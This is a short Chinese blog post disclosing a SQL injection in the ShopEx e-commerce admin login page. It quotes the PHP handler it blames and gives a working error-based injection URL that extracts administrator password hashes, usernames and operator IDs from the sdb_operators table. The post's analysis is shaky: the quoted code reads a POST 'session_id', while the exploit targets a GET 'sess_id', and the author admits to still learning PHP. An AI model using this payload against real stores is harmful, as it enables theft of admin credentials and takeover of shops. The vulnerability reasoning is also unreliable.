shopex admincore.php,Shopex后台登录页面注入漏洞附利用POC

对登录时传递的某参数未做过滤,导致注入的产生

最近做二次开发的时候看到了登录的流程

发现在文件\shopex\core\admin\controller\ctl.passport.php

处理了验证码,管理帐号和密码,但是在最底下发现一个sess_id

function certi_validate(){

$cert = $this->system->loadModel('service/certificate');

$sess_id = $_POST['session_id'];

$return = array();

if($sess_id == $cert->get_sess()){

$return = array(

'res' => 'succ',

'msg' => '',

'info' => ''

);

echo json_encode($return);

}else{

$return = array(

'res' => 'fail',

'msg' => '000001',

'info' => 'You have the different session!'

);

echo json_encode($return);

}

}

没做处理。直接导致sql注入产生。还在学php,分析错的地方请指正

http://www.xxx.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1

imgpxy.php?url=gpj.643331016181013102%2F0131_htnom%2Fserutcip%2Fmoc.gidkcah.1cip%2F%2F%3Aptth

利用:

http://www.xxx.com/shopadmin/index.php?ctl=passport&act=login&sess_id=1'+and(select+1+from(select+count(*),concat((select+(select+(select+concat(userpass,0x7e,username,0x7e,op_id)+from+sdb_operators+Order+by+username+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'='1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值